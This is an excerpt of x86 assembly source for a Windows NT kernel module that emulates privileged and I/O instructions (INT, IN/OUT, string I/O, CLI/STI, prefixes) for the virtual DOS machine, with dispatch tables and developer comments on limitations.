; Other routines such as
; OpcodeCli
; OpcodeSti
; OpcodeIN/OUT/SB/Immb etc
; will map exactly like emv86.asm
; OpcodeInt will be the main differeing routine.
;
; OpcodeDispatch Table will be deleted.
;
; So before making any major changes in this file please see
; Sudeepb or Daveh.
;
;neilsa 19-Oct-1993 Size and performance enhancements
;jonle 15-Nov-1993 - The Debug messages for each opcode may no longer work
; correctly, because interrupts may not have been enabled
;
;
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Revision History:
;
;--
.386p
.xlist
include ks386.inc
include i386\kimacro.inc
include mac386.inc
include i386\mi.inc
include callconv.inc
include ..\..\vdm\i386\vdm.inc
include vdmtib.inc
include irqli386.inc
.list
extrn VdmOpcode0f:proc
extrn OpcodeNPXV86:proc
extrn VdmDispatchIntAck:proc ;; only OpcodeSti uses this
ifdef VDMDBG
EXTRNP _VdmTraceEvent,4
endif
extrn CommonDispatchException:proc ;; trap.asm
extrn _DbgPrint:proc
extrn _KeI386VirtualIntExtensions:dword
extrn _MmHighestUserAddress:dword
EXTRNP _Ki386GetSelectorParameters,4
EXTRNP _Ki386VdmDispatchIo,5
EXTRNP _Ki386VdmDispatchStringIo,8
EXTRNP _KiDispatchException,5
EXTRNP _VdmPrinterStatus,3
EXTRNP _VdmPrinterWriteData, 3
EXTRNP _VdmClearPMCliTimeStamp, 0
EXTRNP _VdmSetPMCliTimeStamp, 1
extrn _MmUserProbeAddress:DWORD
EXTRNP _VdmFetchULONG,1
EXTRNP _Ki386AdjustEsp0,1
page ,132
ifdef VDMDBG
%out Debugging version
endif
;
; Force assume into place
;
_PAGE SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:NOTHING, ES:NOTHING, SS:NOTHING, FS:NOTHING, GS:NOTHING
_PAGE ENDS
_TEXT$00 SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:NOTHING, ES:NOTHING, SS:NOTHING, FS:NOTHING, GS:NOTHING
_TEXT$00 ENDS
PAGECONST SEGMENT DWORD PUBLIC 'DATA'
;
; Instruction emulation emulates the following instructions.
; The emulation affects the noted user mode registers.
;
; In protected mode, the following instructions are emulated in the kernel
;
; Registers (E)Flags (E)SP SS CS
; INTnn X X X X
; INTO X X X X
; CLI X
; STI X
;
; The following instructions are always emulated by reflection to the
; Usermode VDM monitor
;
; INSB
; INSW
; OUTSB
; OUTSW
; INBimm
; INWimm
; OUTBimm
; OUTWimm
; INB
; INW
; OUTB
; OUTW
;
; WARNING What do we do about 32 bit io instructions??
;
; OpcodeIndex - packed 1st level table to index OpcodeDispatch table
;
public OpcodeIndex
diBEGIN OpcodeIndex,VDM_INDEX_Invalid
dtI 0fh, VDM_INDEX_0F
dtI 26h, VDM_INDEX_ESPrefix
dtI 2eh, VDM_INDEX_CSPrefix
dtI 36h, VDM_INDEX_SSPrefix
dtI 3eh, VDM_INDEX_DSPrefix
dtI 64h, VDM_INDEX_FSPrefix
dtI 65h, VDM_INDEX_GSPrefix
dtI 66h, VDM_INDEX_OPER32Prefix
dtI 67h, VDM_INDEX_ADDR32Prefix
dtI 6ch, VDM_INDEX_INSB
dtI 6dh, VDM_INDEX_INSW
dtI 6eh, VDM_INDEX_OUTSB
dtI 6fh, VDM_INDEX_OUTSW
dtI 9bh, VDM_INDEX_NPX
dtI 9ch, VDM_INDEX_PUSHF
dtI 9dh, VDM_INDEX_POPF
dtI 0cdh, VDM_INDEX_INTnn
dtI 0ceh, VDM_INDEX_INTO
dtI 0cfh, VDM_INDEX_IRET
dtI 0d8h, VDM_INDEX_NPX
dtI 0d9h, VDM_INDEX_NPX
dtI 0dah, VDM_INDEX_NPX
dtI 0dbh, VDM_INDEX_NPX
dtI 0dch, VDM_INDEX_NPX
dtI 0ddh, VDM_INDEX_NPX
dtI 0deh, VDM_INDEX_NPX
dtI 0dfh, VDM_INDEX_NPX
dtI 0e4h, VDM_INDEX_INBimm
dtI 0e5h, VDM_INDEX_INWimm
dtI 0e6h, VDM_INDEX_OUTBimm
dtI 0e7h, VDM_INDEX_OUTWimm
dtI 0ech, VDM_INDEX_INB
dtI 0edh, VDM_INDEX_INW
dtI 0eeh, VDM_INDEX_OUTB
dtI 0efh, VDM_INDEX_OUTW
dtI 0f0h, VDM_INDEX_LOCKPrefix
dtI 0f2h, VDM_INDEX_REPNEPrefix
dtI 0f3h, VDM_INDEX_REPPrefix
dtI 0f4h, VDM_INDEX_HLT
dtI 0fah, VDM_INDEX_CLI
dtI 0fbh, VDM_INDEX_STI
diEND NUM_OPCODE
;
; OpcodeDispatch - table of routines used to emulate instructions
;
public OpcodeDispatch
dtBEGIN OpcodeDispatch,OpcodeInvalid
dtS VDM_INDEX_0F , Opcode0F
dtS VDM_INDEX_ESPrefix , OpcodeESPrefix
dtS VDM_INDEX_CSPrefix , OpcodeCSPrefix
dtS VDM_INDEX_SSPrefix , OpcodeSSPrefix
dtS VDM_INDEX_DSPrefix , OpcodeDSPrefix
dtS VDM_INDEX_FSPrefix , OpcodeFSPrefix
dtS VDM_INDEX_GSPrefix , OpcodeGSPrefix
dtS VDM_INDEX_OPER32Prefix, OpcodeOPER32Prefix
dtS VDM_INDEX_ADDR32Prefix, OpcodeADDR32Prefix
dtS VDM_INDEX_INSB , OpcodeINSB
dtS VDM_INDEX_INSW , OpcodeINSW
dtS VDM_INDEX_OUTSB , OpcodeOUTSB
dtS VDM_INDEX_OUTSW , OpcodeOUTSW
dtS VDM_INDEX_INTnn , OpcodeINTnn
dtS VDM_INDEX_INTO , OpcodeINTO
dtS VDM_INDEX_INBimm , OpcodeINBimm
dtS VDM_INDEX_INWimm , OpcodeINWimm
dtS VDM_INDEX_OUTBimm , OpcodeOUTBimm
dtS VDM_INDEX_OUTWimm , OpcodeOUTWimm
dtS VDM_INDEX_INB , OpcodeINB
dtS VDM_INDEX_INW , OpcodeINW
dtS VDM_INDEX_OUTB , OpcodeOUTB
dtS VDM_INDEX_OUTW , OpcodeOUTW
dtS VDM_INDEX_LOCKPrefix , OpcodeLOCKPrefix
dtS VDM_INDEX_REPNEPrefix , OpcodeREPNEPrefix
dtS VDM_INDEX_REPPrefix , OpcodeREPPrefix
dtS VDM_INDEX_CLI , OpcodeCLI
dtS VDM_INDEX_STI , OpcodeSTI
dtEND MAX_VDM_INDEX
PAGECONST ENDS
PAGEDATA SEGMENT DWORD PUBLIC 'DATA'
public _ExVdmOpcodeDispatchCounts,_ExVdmSegmentNotPresent
_ExVdmOpcodeDispatchCounts dd MAX_VDM_INDEX dup(0)
_ExVdmSegmentNotPresent dd 0
PAGEDATA ENDS
_PAGE SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:NOTHING, ES:NOTHING, SS:FLAT, FS:NOTHING, GS:NOTHING
page ,132
subttl "Overide Prefix Macro"
;++
;
; Routine Description:
;
; This macro generates the code for handling override prefixes
; The routine name generated is OpcodeXXXXPrefix, where XXXX is
; the name used in the macro invocation. The code will set the
; PREFIX_XXXX bit in the Prefix flags.
;
; Arguments
; name = name of prefix
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns
; user mode Eip advanced
; eax advanced
; edx contains next byte of opcode
;
; NOTE: This routine exits by dispatching through the table again.
;--
opPrefix macro name
public Opcode&name&Prefix
Opcode&name&Prefix proc
or [esi].RiPrefixFlags,PREFIX_&name
jmp OpcodeGenericPrefix ; dispatch to next handler
Opcode&name&Prefix endp
endm
irp prefix, <ES, CS, SS, DS, FS, GS, OPER32, ADDR32, LOCK, REPNE, REP>
opPrefix prefix
endm
page ,132
subttl "Instruction Emulation Dispatcher"
;++
;
; Routine Description:
;
; This routine dispatches to the opcode specific emulation routine,
; based on the first byte of the opcode. Two byte opcodes, and prefixes
; result in another level of dispatching, from the handling routine.
;
; Arguments:
;
; [esp+4] = pointer to trap frame
;
; Returns:
;
; Nothing
;
;
cPublicProc _Ki386DispatchOpcode,1
push ebp
mov ebp, [esp+8]
sub esp,REGINFOSIZE
mov esi, esp ; scratch area
CsToLinearPM [ebp].TsSegCs, doerr ; initialize reginfo
mov edi,[ebp].TsEip ; get fault instruction address
cmp edi,[esi].RiCsLimit ; check eip
ja doerr
add edi,[esi].RiCsBase
cmp edi, _MmUserProbeAddress
ja doerr
movzx ecx,byte ptr [edi] ; get faulting opcode
mov eax,ecx
and eax,0F8h ; check for npx instr
cmp eax,0D8h
je do30 ; dispatch
movzx eax, OpcodeIndex[ecx]
mov ebx,1 ; length count, flags
; All handler routines will get the following on entry
; ebp -> trap frame
; ebx -> prefix flags, instruction length count
; ecx -> byte at the faulting address
; edx -> pointer to vdm state in DOS arena
; interrupts enabled and Irql at APC level
; edi -> address of faulting instruction
; esi -> reginfo struct
; All handler routines will return
; EAX = 0 for failure
; EAX = 1 for success
if DEVL
inc _ExVdmOpcodeDispatchCounts[eax * type _ExVdmOpcodeDispatchCounts]
endif
ifdef VDMDBG
pushad
stdCall _VdmTraceEvent, <VDMTR_KERNEL_OP_PM,ecx,0,ebp>
popad
endif
call OpcodeDispatch[eax * type OpcodeDispatch]
do20:
add esp,REGINFOSIZE
pop ebp
stdRET _Ki386DispatchOpcode
doerr: xor eax,eax
jmp do20
;
; If we get here, we have executed an NPX instruction in user mode
; with the emulator installed. If the EM bit was not set in CR0, the
; app really wanted to execute the instruction for detection purposes.
; In this case, we need to clear the TS bit, and restart the instruction.
; Otherwise we need to reflect the exception
;
do30:
call OpcodeNPXV86
jmp short do20
stdENDP _Ki386DispatchOpcode
page ,132
subttl "Invalid Opcode Handler"
;++
;
; Routine Description:
;
; This routine causes a GP fault to be reflected to the vdm
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeInvalid
OpcodeInvalid proc
xor eax,eax ; ret fail
ret
OpcodeInvalid endp
page ,132
subttl "Generic Prefix Handler"
;++
;
; Routine Description:
;
; This routine handles the generic portion of all of the prefixes,
; and dispatches the next byte of the opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; user mode Eip advanced
; edx contains next byte of opcode
;
public OpcodeGenericPrefix
OpcodeGenericPrefix proc
inc edi ; increment eip
inc ebx ; increment size
cmp bl, 128 ; set arbitrary inst size limit
ja ogperr ; in case of pointless prefixes
mov eax,edi ; current linear address
sub eax,[esi].RiCsBase ; make address eip
cmp eax,[esi].RiCsLimit ; check eip
ja ogperr
cmp edi, [_MmHighestUserAddress]
ja ogperr
mov cl,byte ptr [edi] ; get next opcode
movzx eax, OpcodeIndex[ecx]
if DEVL
inc _ExVdmOpcodeDispatchCounts[eax * type _ExVdmOpcodeDispatchCounts]
endif
jmp OpcodeDispatch[eax * type OpcodeDispatch]
ogperr:
xor eax,eax ; opcode was NOT handled
ret
OpcodeGenericPrefix endp
page ,132
subttl "0F Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates a 0Fh opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public Opcode0F
Opcode0F proc
mov eax,[ebp].TsEip ; get fault instruction address
mov [esi].RiEip,eax
mov [esi].RiTrapFrame,ebp
mov [esi].RiPrefixFlags,ebx
mov eax,dword ptr [ebp].TsEFlags
mov [esi].RiEFlags,eax
call VdmOpcode0F ; enables interrupts
test eax,0FFFFh
jz o0f20
mov eax,[esi].RiEip
mov [ebp].TsEip,eax
mov eax,1
o0f20:
ret
Opcode0F endp
page ,132
subttl "Byte string in Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an INSB opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
; WARNING what to do about size override? ds override?
public OpcodeINSB
OpcodeINSB proc
push ebp ; Trap Frame
push ebx ; size of insb
movzx eax,word ptr [ebp].TsSegEs
shl eax,16
; WARNING no support for 32bit edi
mov ax,word ptr [ebp].TsEdi ; don't support 32bit'ness
push eax ; address
xor eax, eax
mov ecx,1
test ebx,PREFIX_REP
jz @f
mov eax, 1
; WARNING no support for 32bit ecx
movzx ecx,word ptr [ebp].TsEcx
@@:
push ecx ; number of io ops
push TRUE ; read op
push eax ; REP prefix
push 1 ; byte op
movzx edx,word ptr [ebp].TsEdx
push edx ; port number
call _Ki386VdmDispatchStringIo@32 ; use retval
ret
OpcodeINSB endp
page ,132
subttl "Word String In Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an INSW opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeINSW
OpcodeINSW proc
push ebp ; Trap frame
push ebx ; sizeof insw
movzx eax,word ptr [ebp].TsSegEs
shl eax,16
; WARNING no support for 32bit edi
mov ax,word ptr [ebp].TsEdi
push eax ; address
xor eax, eax
mov ecx,1
test ebx,PREFIX_REP
jz @f
mov eax, 1
; WARNING no support for 32bit ecx
movzx ecx,word ptr [ebp].TsEcx
@@:
movzx edx,word ptr [ebp].TsEdx
push ecx ; number of io ops
push TRUE ; read op
push eax ; REP prefix
push 2 ; word size
push edx ; port number
call _Ki386VdmDispatchStringIo@32 ; use retval
ret
OpcodeINSW endp
page ,132
subttl "Byte String Out Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an OUTSB opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeOUTSB
OpcodeOUTSB proc
push ebp ; Trap Frame
push ebx ; size of outsb
movzx eax,word ptr [ebp].TsSegDs
shl eax,16
; WARNING don't support 32bit'ness, esi
mov ax,word ptr [ebp].TsEsi
push eax ; address
xor eax, eax
mov ecx,1
test ebx,PREFIX_REP
jz @f
mov eax, 1
; WARNING don't support 32bit'ness ecx
movzx ecx,word ptr [ebp].TsEcx
@@:
movzx edx,word ptr [ebp].TsEdx
push ecx ; number of io ops
push FALSE ; write op
push eax ; REP prefix
push 1 ; byte op
push edx ; port number
call _Ki386VdmDispatchStringIo@32 ; use retval
ret
OpcodeOUTSB endp
page ,132
subttl "Word String Out Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an OUTSW opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeOUTSW
OpcodeOUTSW proc
push ebp ; Trap Frame
push ebx ; size of outsb
movzx eax,word ptr [ebp].TsSegDs
shl eax,16
; WARNING don't support 32bit'ness esi
mov ax,word ptr [ebp].TsEsi
push eax ; address
xor eax, eax
mov ecx,1
test ebx,PREFIX_REP
jz @f
mov eax, 1
; WARNING don't support 32bit'ness ecx
movzx ecx,word ptr [ebp].TsEcx
@@:
movzx edx,word ptr [ebp].TsEdx
push ecx ; number of io ops
push FALSE ; write op
push eax ; REP prefix
push 2 ; byte op
push edx ; port number
call _Ki386VdmDispatchStringIo@32 ; use retval
ret
OpcodeOUTSW endp
page ,132
subttl "INTnn Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an INTnn opcode. It retrieves the handler
; from the IVT, pushes the current cs:ip and flags on the stack,
; and dispatches to the handler.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; Current CS:IP on user stack
; RiCs:RiEip -> handler from IVT
;
public OpcodeINTnn
OpcodeINTnn proc
mov eax, ds:FIXED_NTVDMSTATE_LINEAR
and eax, (VDM_INTERRUPT_PENDING + VDM_VIRTUAL_INTERRUPTS)
cmp eax, (VDM_INTERRUPT_PENDING + VDM_VIRTUAL_INTERRUPTS)
jnz short oi10
call VdmDispatchIntAck
jmp oi99
oi10:
mov eax,dword ptr [ebp].TsEFlags
call GetVirtualBits ; set interrupt flag
mov [esi].RiEFlags,eax
movzx eax,word ptr [ebp].TsHardwareSegSs
call SsToLinear
test al,0FFh
jz oinerr
inc edi ; point to int #
mov eax,edi ; current linear address
sub eax,[esi].RiCsBase ; make address eip
cmp eax,[esi].RiCsLimit ; check eip
ja oinerr
cmp edi, [_MmHighestUserAddress]
ja oinerr
movzx ecx,byte ptr [edi] ; get int #
inc eax ; inc past end of instruction
mov [esi].RiEip,eax ; save for pushint's benefit
call PushInt ; will return retcode in al
test al,0FFh
jz oinerr ; error!
mov eax,[esi].RiEsp
mov [ebp].TsHardwareEsp,eax
mov ax,word ptr [esi].RiSegCs
or ax, 7 ; R3 LDT selectors only
cmp ax, 8
jge short @f
test dword ptr [ebp]+TsEFlags, EFLAGS_V86_MASK
jnz short @f
mov ax, KGDT_R3_DATA OR RPL_MASK
@@: mov word ptr [ebp].TsSegCs,ax
mov eax,[esi].RiEFlags
push [ebp].TsEFlags
mov [ebp].TsEFlags,eax
or [ebp].TsEFlags, EFLAGS_INTERRUPT_MASK
xor eax, [esp]
test eax, EFLAGS_V86_MASK
pop eax
je short @f
stdCall _Ki386AdjustEsp0, <ebp>
@@: mov eax,[esi].RiEip
mov [ebp].TsEip,eax
oi99:
mov eax,1
ret
oinerr:
xor eax,eax
ret
OpcodeINTnn endp
page ,132
subttl "INTO Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an INTO opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeINTO
OpcodeINTO proc
xor eax,eax
ret
OpcodeINTO endp
page ,132
subttl "In Byte Immediate Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an in byte immediate opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeINBimm
OpcodeINBimm proc
inc ebx ; length count
inc edi
mov eax,edi ; current linear address
sub eax,[esi].RiCsBase ; make address eip
cmp eax,[esi].RiCsLimit ; check eip
ja oibi20
cmp edi, [_MmHighestUserAddress]
ja oibi20
movzx ecx,byte ptr [edi]
; (eax) = inst. size
; read op
; I/O size = 1
; (ecx) = port number
stdCall _Ki386VdmDispatchIo, <ecx, 1, TRUE, ebx, ebp>
ret
oibi20:
xor eax, eax ; not handled
ret
OpcodeINBimm endp
page ,132
subttl "Word In Immediate Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an in word immediate opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeINWimm
OpcodeINWimm proc
inc ebx ; length count
inc edi
mov eax,edi ; current linear address
sub eax,[esi].RiCsBase ; make address eip
cmp eax,[esi].RiCsLimit ; check eip
ja oiwi20
cmp edi, [_MmHighestUserAddress]
ja oiwi20
movzx ecx,byte ptr [edi]
; TRUE - read op
; 2 - word op
; ecx - port number
stdCall _Ki386VdmDispatchIo, <ecx, 2, TRUE, ebx, ebp>
ret
oiwi20:
xor eax, eax ; not handled
ret
OpcodeINWimm endp
page ,132
subttl "Out Byte Immediate Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an invalid opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeOUTBimm
OpcodeOUTBimm proc
inc ebx ; length count
inc edi
mov eax,edi ; current linear address
sub eax,[esi].RiCsBase ; make address eip
cmp eax,[esi].RiCsLimit ; check eip
ja oobi20
cmp edi, [_MmHighestUserAddress]
ja oobi20
movzx ecx,byte ptr [edi]
; FALSE - write op
; 1 - byte op
; ecx - port #
stdCall _Ki386VdmDispatchIo, <ecx, 1, FALSE, ebx, ebp>
ret
oobi20:
xor eax, eax ; not handled
ret
OpcodeOUTBimm endp
page ,132
subttl "Out Word Immediate Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an out word immediate opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeOUTWimm
OpcodeOUTWimm proc
inc ebx ; length count
inc edi
mov eax,edi ; current linear address
sub eax,[esi].RiCsBase ; make address eip
cmp eax,[esi].RiCsLimit ; check eip
ja oowi20
cmp edi, [_MmHighestUserAddress]
ja oowi20
movzx ecx,byte ptr [edi]
; FALSE - write op
; 2 - word op
; ecx - port number
stdCall _Ki386VdmDispatchIo, <ecx, 2, FALSE, ebx, ebp>
ret
oowi20:
xor eax, eax ; not handled
ret
OpcodeOUTWimm endp
page ,132
subttl "INB Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an INB opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeINB
OpcodeINB proc
movzx eax,word ptr [ebp].TsEdx
; TRUE - read op
; 1 - byte op
; eax - port number
cmp eax, 3bdh
jz oib_prt1
cmp eax, 379h
jz oib_prt1
cmp eax, 279h
jz oib_prt1
oib_reflect:
stdCall _Ki386VdmDispatchIo, <eax, 1, TRUE, ebx, ebp>
ret
oib_prt1:
; call printer status routine with port number, size, trap frame
movzx ebx, bl ;clear prefix flags
push eax
stdCall _VdmPrinterStatus, <eax, ebx, ebp>
or al,al
pop eax
jz short oib_reflect
mov al, 1
ret
OpcodeINB endp
page ,132
subttl "INW Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an INW opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeINW
OpcodeINW proc
movzx eax,word ptr [ebp].TsEdx
; TRUE - read operation
; 2 - word op
; eax - port number
stdCall _Ki386VdmDispatchIo, <eax, 2, TRUE, ebx, ebp>
ret
OpcodeINW endp
page ,132
subttl "OUTB Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an OUTB opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeOUTB
OpcodeOUTB proc
movzx eax,word ptr [ebp].TsEdx
cmp eax, 03BCh
je short oob_printerVDD
cmp eax, 0378h
je short oob_printerVDD
cmp eax, 0278h
jz short oob_printerVDD
oob_reflect:
; FALSE - write op
; 1 - byte op
; eax - port number
stdCall _Ki386VdmDispatchIo, <eax, 1, FALSE, ebx, ebp>
ret
oob_printerVDD:
movzx ebx, bl ; instruction size
push eax ; save port address
stdCall _VdmPrinterWriteData, <eax, ebx, ebp>
or al,al ;
pop eax
jz short oob_reflect
mov al, 1
ret
OpcodeOUTB endp
page ,132
subttl "OUTW Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an OUTW opcode.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeOUTW
OpcodeOUTW proc
movzx eax,word ptr [ebp].TsEdx
; FALSE - write op
; 2 - word op
; edi - port #
stdCall _Ki386VdmDispatchIo, <eax, 2, FALSE, ebx, ebp>
ret
OpcodeOUTW endp
page ,132
subttl "CLI Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an CLI opcode. It clears the virtual
; interrupt flag in the VdmTeb.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeCLI
OpcodeCLI proc
mov eax, ds:FIXED_NTVDMSTATE_LINEAR
and eax, (VDM_INTERRUPT_PENDING + VDM_VIRTUAL_INTERRUPTS)
cmp eax, (VDM_INTERRUPT_PENDING + VDM_VIRTUAL_INTERRUPTS)
jnz short oc50
call VdmDispatchIntAck
jmp short oc99
oc50:
mov eax,[ebp].TsEFlags
and eax,NOT EFLAGS_INTERRUPT_MASK
call SetVirtualBits
inc dword ptr [ebp].TsEip
stdCall _VdmSetPMCliTimeStamp, <0>
oc99:
mov eax,1
ret
OpcodeCLI endp
page ,132
subttl "STI Opcode Handler"
;++
;
; Routine Description:
;
; This routine emulates an STI opcode. It sets the virtual
; interrupt flag in the VDM teb.
;
; Arguments:
; EBP -> trap frame
; EBX -> prefix flags, BL = instruction length count
; ECX -> byte at the faulting address
; EDX -> pointer to vdm state in DOS arena
; ESI -> Reginfo struct
; EDI -> address of faulting instruction
;
; Returns:
;
; nothing
;
public OpcodeSTI
OpcodeSTI proc
stdCall _VdmClearPMCliTimeStamp
mov eax,[ebp].TsEFlags
or eax,EFLAGS_INTERRUPT_MASK
call SetVirtualBits
inc dword ptr [ebp].TsEip
mov eax, ds:FIXED_NTVDMSTATE_LINEAR
test eax,VDM_INTERRUPT_PENDING
jz os10
call VdmDispatchIntAck
os10:
mov eax,1
ret
OpcodeSTI endp
page ,132
subttl "Check Vdm Flags"
;++
;
; Routine Description:
;
; This routine checks the flags that are going to be used for the
; dos or windows application.
;
; Arguments:
;
; ecx = EFlags to be set
; esi = address of reg info
;
; Returns:
;
; ecx = fixed flags
;
CheckVdmFlags proc
mov eax,[esi].RiEFlags
and eax,EFLAGS_V86_MASK
;
; [eax] = V86 mode bit
; [ecx] = Flags to be fixed
;
test eax,EFLAGS_V86_MASK ; Is V86 Mode?
jz short cvf10 ; No, enable IF
test _KeI386VirtualIntExtensions, V86_VIRTUAL_INT_EXTENSIONS
jz short cvf10
;
; Convert EFLAGS_INTERRUPT_MASK to VIF flags
;
mov edx, ecx
and edx,EFLAGS_INTERRUPT_MASK
shl edx,0ah
or eax,edx
cvf10: or ecx,EFLAGS_INTERRUPT_MASK
cvf20: and ecx,NOT (EFLAGS_IOPL_MASK OR EFLAGS_NT_MASK OR EFLAGS_V86_MASK OR EFLAGS_VIF OR EFLAGS_VIP)
or ecx,eax ; restore original v86 bit
ret
CheckVdmFlags endp
page ,132
subttl "Get Virtual Interrupt Flag"
;++
;
; Routine Description:
;
; This routine correctly gets the VDMs virtual interrupt flag and
; puts it into an EFlags image to be put on the stack.
;
; Arguments:
;
; eax = EFlags value
;
; Returns:
;
; eax = EFlags value with correct setting for IF
;
; Uses:
; ecx
;
public GetVirtualBits
GetVirtualBits proc
push ebp
push edx
push ebx
push esi
push edi
test eax, EFLAGS_V86_MASK
jz short gvb10
test _KeI386VirtualIntExtensions, V86_VIRTUAL_INT_EXTENSIONS
jz short gvb10
mov ecx,eax
and ecx,EFLAGS_VIF
shr ecx,0ah ; mov vif to if posn
and eax,NOT EFLAGS_INTERRUPT_MASK
or eax,ecx
call gvbGetFixedStateLinear ; after return [ecx] = content of 0x417
and ecx,VDM_VIRTUAL_AC
and eax,NOT EFLAGS_ALIGN_CHECK
or eax,ecx
jmp short gbvexit
gvb10: and eax,NOT EFLAGS_INTERRUPT_MASK
call gvbGetFixedStateLinear ; after return [ecx] = content of 0x417
and ecx,VDM_VIRTUAL_INTERRUPTS OR VDM_VIRTUAL_AC
or eax,ecx ; put virtual int flag into flags
gbvexit:
or eax,EFLAGS_IOPL_MASK ; make it look like a 386
pop edi
pop esi
pop ebx
pop edx
pop ebp
ret
gvbGetFixedStateLinear:
push eax
push offset GetVirtualBits_Handler
push PCR[PcExceptionList]
mov PCR[PcExceptionList], esp
mov ecx, ds:FIXED_NTVDMSTATE_LINEAR
gvbexit1:
pop PCR[PcExceptionList]
add esp, 4 ; pop out except handler
pop eax
ret
GetVirtualBits endp
